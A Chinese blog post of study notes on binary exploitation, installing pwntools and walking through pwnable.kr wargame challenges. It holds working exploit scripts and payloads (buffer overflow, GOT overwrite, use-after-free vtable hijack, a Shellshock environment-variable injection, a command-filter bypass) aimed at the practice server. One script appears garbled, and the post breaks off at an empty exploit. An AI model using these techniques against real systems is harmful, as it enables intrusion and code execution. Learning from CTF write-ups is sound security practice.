pwn学习笔记汇总(持续更新)



(一):安装pwntools

嗯,第一步竟是这样地惨绝人寰,pwntools是我目前见过最难装的python库,为此我在3天时间内接连换了4次系统
忘记说了,最近入手了一款chromebook,装ubuntu用的crouton,最后在unity-destop下装好了pwntools
简单说下一路上的坑
0.准备一个Ubuntu 12或者14,别任性。
1.得到一个干净的系统后首先执行

sudo apt-get update

千万不要马上把什么清华源,中科大源加进来,pwntools的依赖很多,某些依赖在新版本上不稳定甚至无法使用,我4次装机中某一次就是因为用清华源upgrade一次,pwntools的依赖全部炸掉了。

sudo apt-get install python2.7 python-pip python-dev git libssl-dev
sudo pip install --upgrade pwntools

2.接着你可以发呆,反正会安装失败
你会在某一步得到一个错误提示:

error gcc failed with exit status 1

哈,千万不要着急,博主在网上查了好几天都没有有效的解决方案
3.查看log
博主最终翻了翻pip.log,读了好一会儿,感觉像是安装cffi出错
3.手动安装cffi
既然pwntools自动安装cffi失败,我就直接

sudo pip install cffi

哈,显示成功
5.重新安装pwntools

sudo pip install --upgrade pwntools

这样就能成功装上pwntools
博主装上pwntools的时候真是不敢相信,转而泪流满面。。。。。

Tip:不要手贱sudo apt-get install python3
Tip:不要手贱sudo apt-get install python3
Tip:不要手贱sudo apt-get install python3

为什么不最开始就装上cffi?你自己试试吧


(二):pwnable-fd

pwnable.kr是一个很不错的网站
1
今天做的第一题,是关于linux的file descriptor
2

1.按照提示连接ssh
3

2.输入密码(guest)
查看目录下内容和权限
4
能下手的只有fd.c

3.查看fd.c
输入

cat fd.c

5
很简单的代码,fd-0x1234后作为File descriptor传给read,谷歌file descriptor

4.寻找read的fd值
6
维基上说道如果要读入,fd=0,于是传入参数0x1234(10进制4660)

5.pwn
7
fd传入4660后,read会读入到buf

最后得到flag

 

exp如下

from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(argv=['fd','4660'],executable='./fd')
sh.sendline("LETMEWIN")
print (sh.recvall())


(三):pwnable-collision

博主做出这道题后去看了看网上做法,是自己做的复杂了,也敢厚着脸皮放上来

1.先看题吧
1

2.查看col.c

#include 
#include 
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

原本是char类型被强制转换成int类型
博主在这里传入的参数是20个9
接下来博主开始分析

3.分析代码
9的ascii码是57,对应16进制39,内存中的存在形式应该是

3939 3939 3939 3939 3939 3939 3939 3939

由于int是4个字节,所以p指针指向的值为0x39393939,对应10进制960051513
再看代码可以知道有5次相加,由于int的最大值是2147483647,超过这个值就会跌到-2147483648
可以计算得到:
第一次for循环后:res值为960051513
第二次for循环后:res值为1920103026
第三次for循环后:res值为-1414812757(注意这里爆掉了,爆出的部分加上-2147483648)
第四次for循环后:res值为-454761244
第五次for循环后:res值为505290269
2
我总结一个公式来计算得到第五次循环后的res

设2147483647为N1,2147483648为N2,960051513为g,突破int上限t次(此例t=1),第五次循环后res为x
x=N1-{[(N1+N2+1)*t+N1]-5*g}

为什么要+1?你想想为什么2147483647+1=-2147483648而不是-2147483647?因为还有个0没有计算啊
根据这个公式倒推
将x=0x21DD09EC(十进制568134124)带入,枚举突破int上限的次数t
得到t=1时,g=972620284(十六进制0x39F901FC)

4.提交
注意,目标计算机使用小端序,需要将\x39\xF9\x01\xFC倒置
3
得到flag

exp如下

from pwn import *
import os

pwn_ssh=ssh(host='pwnable.kr',user='col',password='guest',port=2222)
print (pwn_ssh.connected())

sh=pwn_ssh.process(argv=['collision','\xfc\x01\xf9\x39' * 5],executable='./col')
print (sh.recvall())


(四):pwnable-bof

这道题是缓冲区溢出,应该是非常基础的,虽然我做了整整一天啊

1.看看题目

0

 

2.下载bof,查看源代码

0-1

只要咱们能通过overflow覆盖key的值,就能成功拿到shell

3.用radare2分析程序

1

如上图,看到两个关键函数

sym.main
sym.func

进入func
2

看到arg_8h参数地址是ebp-0x8,local_2ch地址是ebp-0x2c(非常关键)

继续分析可知,ebp+arg_8h是key,local_2ch就是overflow数组

于是我的目标就是覆盖ebp-0x8

4.gdb调试

3

为了调试方便,先确定cmp比较时的位置,下个断点,如图可知,位置是

*func+40

4
传入32个A,此时还没有溢出,查看内存,还没什么异样,key的位置仍然是deadbeef

5
转换进制

6
查看overflow位置(ebp-44),发现上面被填满了A,共32个字节。
如果要填到key的位置,还差20个字节,所以一共需要填充

32+20=52个字节

<br/
8
重新调试,key位置填充成BBBB,查看内存,的确被覆盖了

所以我只需要把BBBB换成\xbe\xba\xfe\xca就行

exp如下

from pwn import *

pwn_socket=remote('pwnable.kr',9000)
pwn_socket.sendline('A' * 52 + '\xbe\xba\xfe\xca')
pwn_socket.interactive()

得到shell后查看flag

9


(五):pwnable-flag

0
先看题目

1
拿回来运行,显示这么一串,不知道想干嘛

2
执行

r2 flag
aaa
afl

分析出来大量符号,没什么可读性,应该是加了壳

3
查看程序的字符串,发现upx

4
执行

upx -d flag

拖进IDA看字符串
找到flag


(六):pwnable-passcode

下载后查看源码

#include 
#include 

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing 🙂
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 &amp;&amp; passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

可以看到第9行和第14行的scanf读入有问题,载进gdb调试

2 3

可以看到passcode1的位置被覆盖成41414141,意思就是我们可以操控passcode1到任意地址。

 

接下来博主搞了很久都没有进展,只有查了题解,原来是通过控制passcode1,向fflush的GOT里写入地址,这样执行fflush时就会跳转到写入的地址。

5

 

继续查看fflush的GOT地址和需要跳转到的地址

4 6

0x080485d7=134514135

所以最后的payload是

'A'*96+'\x04\xa0\x04\x08'+'134514135'

 

可以查看fflush的GOT

7

 

已经被修改成了我需要的地址,执行就行得到flag

 

exp如下:

from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./passcode")
print (sh.recv())
sh.sendline('A'*96+'\x04\xa0\x04\x08'+'134514135')
print (sh.recvall())


(七):pwnable-random

下载源码查看

 

#include 

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &amp;key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

这代码一看就没加随机种子,所以随机值根本不会改变
直接进入gdb看随机值(省去中间步骤)
0
异或可逆

0xdeadbeef xor 0x6b8b4567 = 0xB526FB88

所以答案为0xB526FB88

exp如下:

from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='random',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./random")
sh.sendline('3039230856')
print(sh.recvall())


(八):pwnable-input2

在服务器上运行代码时遇到了一些困难,工作目录如果在flag目录下,没法创建\x0a,在当前目录下没法获得flag


(九):pwnable-leg

首先leg.c代码如下

#include 
#include 
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &amp;key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

它的汇编代码如下

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c &lt;+0&gt;:	push	{r4, r11, lr}
   0x00008d40 &lt;+4&gt;:	add	r11, sp, #8
   0x00008d44 &lt;+8&gt;:	sub	sp, sp, #12
   0x00008d48 &lt;+12&gt;:	mov	r3, #0
   0x00008d4c &lt;+16&gt;:	str	r3, [r11, #-16]
   0x00008d50 &lt;+20&gt;:	ldr	r0, [pc, #104]	; 0x8dc0 &lt;main+132&gt;
   0x00008d54 &lt;+24&gt;:	bl	0xfb6c 
   0x00008d58 &lt;+28&gt;:	sub	r3, r11, #16
   0x00008d5c &lt;+32&gt;:	ldr	r0, [pc, #96]	; 0x8dc4 &lt;main+136&gt;
   0x00008d60 &lt;+36&gt;:	mov	r1, r3
   0x00008d64 &lt;+40&gt;:	bl	0xfbd8 
   0x00008d68 &lt;+44&gt;:	bl	0x8cd4 
   0x00008d6c &lt;+48&gt;:	mov	r4, r0
   0x00008d70 &lt;+52&gt;:	bl	0x8cf0 
   0x00008d74 &lt;+56&gt;:	mov	r3, r0
   0x00008d78 &lt;+60&gt;:	add	r4, r4, r3
   0x00008d7c &lt;+64&gt;:	bl	0x8d20 
   0x00008d80 &lt;+68&gt;:	mov	r3, r0
   0x00008d84 &lt;+72&gt;:	add	r2, r4, r3
   0x00008d88 &lt;+76&gt;:	ldr	r3, [r11, #-16]
   0x00008d8c &lt;+80&gt;:	cmp	r2, r3
   0x00008d90 &lt;+84&gt;:	bne	0x8da8 &lt;main+108&gt;
   0x00008d94 &lt;+88&gt;:	ldr	r0, [pc, #44]	; 0x8dc8 &lt;main+140&gt;
   0x00008d98 &lt;+92&gt;:	bl	0x1050c 
   0x00008d9c &lt;+96&gt;:	ldr	r0, [pc, #40]	; 0x8dcc &lt;main+144&gt;
   0x00008da0 &lt;+100&gt;:	bl	0xf89c 
   0x00008da4 &lt;+104&gt;:	b	0x8db0 &lt;main+116&gt;
   0x00008da8 &lt;+108&gt;:	ldr	r0, [pc, #32]	; 0x8dd0 &lt;main+148&gt;
   0x00008dac &lt;+112&gt;:	bl	0x1050c 
   0x00008db0 &lt;+116&gt;:	mov	r3, #0
   0x00008db4 &lt;+120&gt;:	mov	r0, r3
   0x00008db8 &lt;+124&gt;:	sub	sp, r11, #8
   0x00008dbc &lt;+128&gt;:	pop	{r4, r11, pc}
   0x00008dc0 &lt;+132&gt;:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 &lt;+136&gt;:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 &lt;+140&gt;:			;  instruction: 0x0006a4b0
   0x00008dcc &lt;+144&gt;:			;  instruction: 0x0006a4bc
   0x00008dd0 &lt;+148&gt;:	andeq	r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 &lt;+0&gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 &lt;+4&gt;:	add	r11, sp, #0
   0x00008cdc &lt;+8&gt;:	mov	r3, pc
   0x00008ce0 &lt;+12&gt;:	mov	r0, r3
   0x00008ce4 &lt;+16&gt;:	sub	sp, r11, #0
   0x00008ce8 &lt;+20&gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec &lt;+24&gt;:	bx	lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 &lt;+0&gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 &lt;+4&gt;:	add	r11, sp, #0
   0x00008cf8 &lt;+8&gt;:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc &lt;+12&gt;:	add	r6, pc, #1
   0x00008d00 &lt;+16&gt;:	bx	r6
   0x00008d04 &lt;+20&gt;:	mov	r3, pc
   0x00008d06 &lt;+22&gt;:	adds	r3, #4
   0x00008d08 &lt;+24&gt;:	push	{r3}
   0x00008d0a &lt;+26&gt;:	pop	{pc}
   0x00008d0c &lt;+28&gt;:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 &lt;+32&gt;:	mov	r0, r3
   0x00008d14 &lt;+36&gt;:	sub	sp, r11, #0
   0x00008d18 &lt;+40&gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c &lt;+44&gt;:	bx	lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 &lt;+0&gt;:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 &lt;+4&gt;:	add	r11, sp, #0
   0x00008d28 &lt;+8&gt;:	mov	r3, lr
   0x00008d2c &lt;+12&gt;:	mov	r0, r3
   0x00008d30 &lt;+16&gt;:	sub	sp, r11, #0
   0x00008d34 &lt;+20&gt;:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 &lt;+24&gt;:	bx	lr
End of assembler dump.
(gdb) 

可以看到是一个arm汇编
由于对arm汇编不熟,所以查了很多资料
http://infocenter.arm.com/help/index.jsp
http://blog.chinaunix.net/uid-26967414-id-3823606.html

arm的流水线使用三个阶段,因此指令分为三个阶段执行:1.取指(从存储器装载一条指令);2.译码(识别将要被执行的指令);3.执行(处理 指令并将结果写回寄存器)。

R13(SP)是堆栈指针

R14(lr)是连接寄存器
这个lr一般来说有两个作用:
1》.当使用bl或者blx跳转到子过程的时候,r14保存了返回地址,可以在调用过程结尾恢复。
2》.异常中断发生时,这个异常模式特定的物理R14被设置成该异常模式将要返回的地址。

R15(PC)总是指向“正在取指”的指令,而不是指向“正在执行”的指令或正在“译码”的指令。一般来说,人们习惯性约定 将“正在执行的指令作为参考点”,称之为当前第一条指令,因此PC总是指向第三条指令。

 

所以key1就是保存的PC值:0x00008cdc+0x8=0x00008ce4

所以key2就是保存的PC+4值:0x00008d04+0x4+0x4=0x00008d0c

所以key3就是保存的LR值:0x00008d80

0x00008ce4+0x00008d0c+0x00008d80=0x00001a770=108400(d)

0


(十):pwnable-mistake

#include 
#include 

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
	int i;
	for(i=0; i&lt;len; i++){
		s[i] ^= XORKEY;
	}
}

int main(int argc, char* argv[]){
	
	int fd;
	if(fd=open("/home/etenal/pwnable.kr/mistake/password",O_RDONLY,0400) &lt; 0){ printf("can't open password %d\n", fd); return 0; } printf("do not bruteforce...\n"); sleep(time(0)%20); char pw_buf[PW_LEN+1]; int len; if(!(len=read(fd,pw_buf,PW_LEN) &gt; 0)){
		printf("read error\n");
		close(fd);
		return 0;		
	}

	char pw_buf2[PW_LEN+1];
	printf("input password : ");
	scanf("%10s", pw_buf2);

	// xor your input
	xor(pw_buf2, 10);

	if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
		printf("Password OK\n");
		system("/bin/cat flag\n");
	}
	else{
		printf("Wrong Password\n");
	}

	close(fd);
	return 0;
}

这题很容易知道哪里有蹊跷,在do not bruteforce…后面竟然没有从文件读入,而需要手工输入
查看代码

fd=open("/home/etenal/pwnable.kr/mistake/password",O_RDONLY,0400) &lt; 0

小于符号(<)的优先级是高于等于符号(=)的
0
如果打开成功,open会返回一个非负数,所以<0为假,fd得到的值恒为0。也就需要用户手动输入了。
异或操作很简单,在本地测试一组数据,成功后去拿flag
1


(十一):pwnable-shellshock

https://en.wikipedia.org/wiki/Shellshock_(software_bug)
执行

env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test"

发现bash存在shellshock漏洞
直接打出flag

env x='() { :;}; /bin/cat flag' ./shellshock

2


(十二):pwnable-coin1

游戏规则是给了N个硬币,C次机会,每次可以称任意数目的硬币质量,真硬币质量为10,假硬币质量为9,要求在C+1次输出哪一枚硬币是假的。
我用的二分找硬币,注意要在他的服务器上跑,本地对pwnable.kr的速度慢到掉渣,很容易一次性收到几个包。

import socket
import time


s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('pwnable.kr',9007))
print (s.recv(4096))
time.sleep(3)
tot=0
index={}
string=''
for n in range(0,1000):
    string=string+str(n)+' '
    if n!=0:
        index[n]=index[n-1]+len(str(n-1))+1
    else:
        index[0]=0
#print (string[index[6]:index[118]])

while tot-1:
        s.send(str(l)+'\n')
        #print (C)
        C=C-1

    correct=s.recv(4096)
    if (len(correct)!=0 and correct[0]!='C'):
        correct=s.recv(4096)

    print ("Correct:"+correct)
    tot=tot+1


print (s.recv(4096))


(十三):pwnable-lotto

你怎么少做了一道题?!!
你看那个blackjack规则那么长,才一分,就不想做了。。。
这道lotto我的解法是纯爆破
一直输******直到出flag,不知道正解是什么

from pwn import *

pwn_ssh=ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
p=pwn_ssh.process(executable='./lotto')
while (1):
    p.sendline('1')
    p.sendline('******')
    print (p.recv(4096))


(十四):pwnable-cmd1

看代码是不允许输入带有“flag”“sh”“tmp”的字符串
可以考虑用通配符或者拼接字符,不知道题目给出的PATH有什用

./cmd1 "/bin/cat fla*"

或者

./cmd1 "/bin/cat 'fla''g'"


(十五):pwnable-cmd2

这题先搁下,网络上有不少解法,但我还没有完全了解


(十六):pwnable-uaf

关于uaf可以参考下面一篇文章:
http://www.evil0x.com/posts/24881.html
关于vtable可以参考这几篇文章:
http://blog.csdn.net/haoel/article/details/1948051
http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html
查看uaf.cpp

#include 
#include  
#include 
#include 
#include 
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout &lt;&lt; "My name is " &lt;&lt; name &lt;&lt; endl;
		cout &lt;&lt; "I am " &lt;&lt; age &lt;&lt; " years old" &lt;&lt; endl; } }; class Man: public Human{ public: Man(string name, int age){ this-&gt;name = name;
		this-&gt;age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout &lt;&lt; "I am a nice guy!" &lt;&lt; endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this-&gt;name = name;
                this-&gt;age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout &lt;&lt; "I am a cute girl!" &lt;&lt; endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout &lt;&lt; "1. use\n2. after\n3. free\n"; cin &gt;&gt; op;

		switch(op){
			case 1:
				m-&gt;introduce();
				w-&gt;introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout &lt;&lt; "your data is allocated" &lt;&lt; endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

 

可以看到父类Human有虚函数give_shell和introduce,子类Man和Woman继承了父类并且重载了父类的introduce虚函数。
下面这个图是Human的虚表
6
红色是Human的虚函数

 

下面这个图是Man的虚表
7
红色是Human的虚函数,蓝色是Man的虚函数,但是注意,用Man->give_shell是会报错的,因为Human将give_shell设置的private。

 

r2 uaf
aaa
afl

查看到Human::get_shell的地址
1
记下

Human::give_shell  0x0040117a
Man::introduce     0x004012d2

查看main函数的汇编代码,在new操作符上面可以看到分配了0x18(24h)的空间
2

 

接下来用gdb动态调试
在case1下面停下来
这段代码可以看到从rbp-0x38取出了一个指针,可以推测这个是类的指针
4
两个指针分别指向

0x603040

0x603090

5
这个指针指向的首地址就是虚表指针,进入虚表可以看到Human::give_shell的地址0x0040117a和Man::introduce的地址0x004012d2

用一张图比较清楚得描述
8

 

 

那么要怎样才能让程序执行introduce时却执行了give_shell呢?可以看到这两个函数始终相差8个字节,因为我可以操控释放后的内存,所以可以改变虚表指针的值,只用把原始的0x401570改成0x401568就会让程序执行give_shell

 

先测试一组payload,用24个A
9
bingo!

 

 

10
11
成功得到了shell,接下来去

cat flag

就可以了


(十七):pwnable-memcpy

这道题只要能让程序成功运行就能拿到flag,先看代码

#include 
#include 
#include 
#include 
#include 
#include &lt;sys/mman.h&gt;
#include 

unsigned long long rdtsc(){
        asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
	int i;
	for (i=0; i&lt;len; i++) { dest[i] = src[i]; } return dest; } char* fast_memcpy(char* dest, const char* src, size_t len){ size_t i; // 64-byte block fast copy if(len &gt;= 64){
		i = len / 64;
		len &amp;= (64-1);
		while(i-- &gt; 0){
			__asm__ __volatile__ (
			"movdqa (%0), %%xmm0\n"
			"movdqa 16(%0), %%xmm1\n"
			"movdqa 32(%0), %%xmm2\n"
			"movdqa 48(%0), %%xmm3\n"
			"movntps %%xmm0, (%1)\n"
			"movntps %%xmm1, 16(%1)\n"
			"movntps %%xmm2, 32(%1)\n"
			"movntps %%xmm3, 48(%1)\n"
			::"r"(src),"r"(dest):"memory");
			dest += 64;
			src += 64;
		}
	}

	// byte-to-byte slow copy
	if(len) slow_memcpy(dest, src, len);
	return dest;
}

int main(void){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Hey, I have a boring assignment for CS class.. :(\n");
	printf("The assignment is simple.\n");

	printf("-----------------------------------------------------\n");
	printf("- What is the best implementation of memcpy?        -\n");
	printf("- 1. implement your own slow/fast version of memcpy -\n");
	printf("- 2. compare them with various size of data         -\n");
	printf("- 3. conclude your experiment and submit report     -\n");
	printf("-----------------------------------------------------\n");

	printf("This time, just help me out with my experiment and get flag\n");
	printf("No fancy hacking, I promise :D\n");

	unsigned long long t1, t2;
	int e;
	char* src;
	char* dest;
	unsigned int low, high;
	unsigned int size;
	// allocate memory
	char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size_t sizes[10];
	int i=0;

	// setup experiment parameters
	for(e=4; e&lt;14; e++){	// 2^13 = 8K
		low = pow(2,e-1);
		high = pow(2,e);
		printf("specify the memcpy amount between %d ~ %d : ", low, high);
		scanf("%d", &amp;size);
		if( size &lt; low || size &gt; high ){
			printf("don't mess with the experiment.\n");
			exit(0);
		}
		sizes[i++] = size;
	}

	sleep(1);
	printf("ok, lets run the experiment with your configuration\n");
	sleep(1);

	// run experiment
	for(i=0; i&lt;10; i++){
		size = sizes[i];
		printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
		dest = malloc( size );

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		slow_memcpy(dest, src, size);		// byte-to-byte memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		fast_memcpy(dest, src, size);		// block-to-block memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
		printf("\n");
	}

	printf("thanks for helping my experiment!\n");
	printf("flag : ----- erased in this source code -----\n");
	return 0;
}

程序在测试两种内存拷贝的速度,slow_memcpy是逐字拷贝,fast_memcpy是每16字一次拷贝,并且不需要走缓存直接写入内存(non-temporal),关键部分就在fast_memcpy

char* fast_memcpy(char* dest, const char* src, size_t len){
	size_t i;
	// 64-byte block fast copy
	if(len &gt;= 64){
		i = len / 64;
		len &amp;= (64-1);
		while(i-- &gt; 0){
			__asm__ __volatile__ (
			"movdqa (%0), %%xmm0\n"
			"movdqa 16(%0), %%xmm1\n"
			"movdqa 32(%0), %%xmm2\n"
			"movdqa 48(%0), %%xmm3\n"
			"movntps %%xmm0, (%1)\n"
			"movntps %%xmm1, 16(%1)\n"
			"movntps %%xmm2, 32(%1)\n"
			"movntps %%xmm3, 48(%1)\n"
			::"r"(src),"r"(dest):"memory");
			dest += 64;
			src += 64;
		}
	}

	// byte-to-byte slow copy
	if(len) slow_memcpy(dest, src, len);
	return dest;
}

64字节部分用这段汇编代码处理,小于64字节的多余部分用slow_memcpy处理,那直接来看这段汇编代码。
我查阅了不少资料啊。

 

你肯定知道8位寄存器 16位寄存器 32位寄存器,XMM就是128位寄存器,严谨点来说XMM不能说是一个寄存器,它是由多个其他(包括8-64位寄存器组合起来的)
汇编指令看英特尔的文档,里面写movdqa和movntps的部分我截图如下
1
可以看到movdqa是把128位寄存器从内存存入或者取出,注意这个a的含义是Aligned,意为对齐。文中提到

When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary
or a general-protection exception (#GP) will be generated

意思是如果用movdqa对内存进行操作,这块内存必须有一个16字节的边界,否则就会抛出GP错误异常(例如segmentation fault)

2
movntps也说到了,操作的内存必须有个16字节或者32字节的边界

这是解题的关键,那我先从字节开始说起。
首先要了解什么是位(bit),一个位就是一个0或者1,在内存中,每8个位(0x00000000)就是一个字节(byte)
3

源代码中用了

dest = malloc( size );

来分配内存,为了调试方便,我加上了

printf("dest : %x\n",dest);

随便输入了几组数据
4
可以看到第4组(大于64)发生了Segmentation fault,这是因为我没有给程序留出16字节的边界,方法很简单:

0x88-0x40=0x48(72h)

再留出16byte的边界

72-16=56

所以第三组的size应该是56。同时还要注意一个问题,之后malloc的地址会根据你先前malloc的大小发生改变,比如experiment 4处填入64和128,experiment 5的地址是不一样的,我举个栗子:
5
这张图0xc8-0x80-0x10(16h)<64,而experiment 4要求的值必须在64-128之间,看下面一张图
6

0x108-0x80-0x10=0x78(120h)

所以experiment 4处填入120
以此类推,我得到的所有数据为

13
50
56
120
184
504
1016
2040
4088
4096

提交这组数据可以得到flag

 

参考资料

XMM:Streaming SIMD Extensions

Intel:Intel® 64 and IA-32 Architectures Software Developer Manuals

Bit and Bytes:Bits and Bytes

Aligned:Data structure alignment

#GP:General protection fault


(十八):pwnable-codemap

这是一个exe,程序内会生成1000颗分支(有一个hash值和一个size值),但是程序只输出最大的一颗,想要得到flag需要回答pwnable的问题,他会询问第n大的chunk的hash值是多少。

我在windows下用x64dbg调试,找到关键代码
0

第一个红框内是生成hash值的代码,hash储存在ebx中,size储存在eax中。为了得到每一个eax和ebx,我写了个inline patch,在程序尾部找到一块空白区域

2

 

 

inline patch

1

上图中,我把两条mov语句

mov eax, dword ptr [ebp - 0x5c]
mov byte ptr [ebx + 0xf], 0

移到了程序结尾,用一个jmp跳转连接两块区域

3

  1. 复制原本的两条mov指令
  2. 将当前的size和hash保存
  3. 开辟一块内存空间,向其中写入字符串“%d %s\n”
  4. 把当前size和hash值传回给eax和ebx,并将hash,size,“%d %s\n”依次压入栈,最终的效果相当于printf(“%d %s\n”,size,hash);
  5. 返回到原来的代码空间(上上图中cmp eax, dword ptr [ebp – 0x54]一句)

将修改后的程序导出,发现已经可以打印所有的chunk,但是怎样获取这1000组chunk呢?
博主走了一个大弯路,写了一个dll

// codemap.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include 
FILE *fd;

void Init()
{

	MessageBoxA(NULL, "Got it!", "Got it!", MB_OK);
	freopen_s(&amp;fd, "output.txt", "w", stdout);
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		Init();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		fclose(fd);
		break;
	}
	return TRUE;
}

并将这个dll注入进了修改后的codemap,意图是将chunk全部输出到文件output.txt,但是对于线程理解的不深刻,在codemap退出的时候发生了锁死,解决无果,就只能放弃。
最后的做法是用python

import subprocess

def cmp(a):
    if a[0]&gt;':':
        return 999999
    snum,string=a.split(' ')
    num=int(snum)
    return num

argv=['D:\\dump4.exe']
p=subprocess.Popen(args=argv,stdout=subprocess.PIPE)
text=p.communicate()
st=text[0].splitlines()
mylist=[]
for line in st:
    line=line.decode('utf-8')
    mylist.append(line)

f=open("output.txt","w")
dist=sorted(mylist,key=cmp)
for ele in dist:
    f.write(ele+"\n")

这个程序按size从小到大排序,并且输出到output.txt
有了排序后的chunk就直接去拿flag
最吐血的是pwnable居然只问了2nd biggest和3nd biggest的chunk
早知道这样直接在汇编里改程序不就可以了么,白忙活博主一下午。


(十九):pwnable-brain_fuck

这道题的思路是通过修改GOT调用system获得shell
关键地方在这里
0
memset第一个参数是一个字符串指针,fgets第一个参数也是同一个字符串指针,如果修改成gets和system,gets将会读入到这个指针并传给system。(这个方法是在其他博客上看到的)

 

能够操作的地址是在0x0804a0a0
1

< 地址左移 
> 地址右移
, 修改
. 读取
+ 加1
- 减1

 

在IDA里面往上翻就看了GOT表
2

我在

 

这篇文章粗略地提到了GOT表,现在就需要把memset修改成gets,fgets修改成system,这两个函数的地址都可以从给我的.so文件里面获取到,最后再把putchar修改成main的地址,调用putchar将重新执行main,也就会执行gets和system。

 

 

这里需要补充的一个知识
3
简单点来说GOT在最开始的时候并不是指向了函数地址,而是在第一次调用后才会被修改成动态链接到函数地址,也就是你在获取当前程序某个导入函数地址时必须确保它至少执行过一次。

 

 

下面是我的exp:(参考了网上其他的exp)

from pwn import *

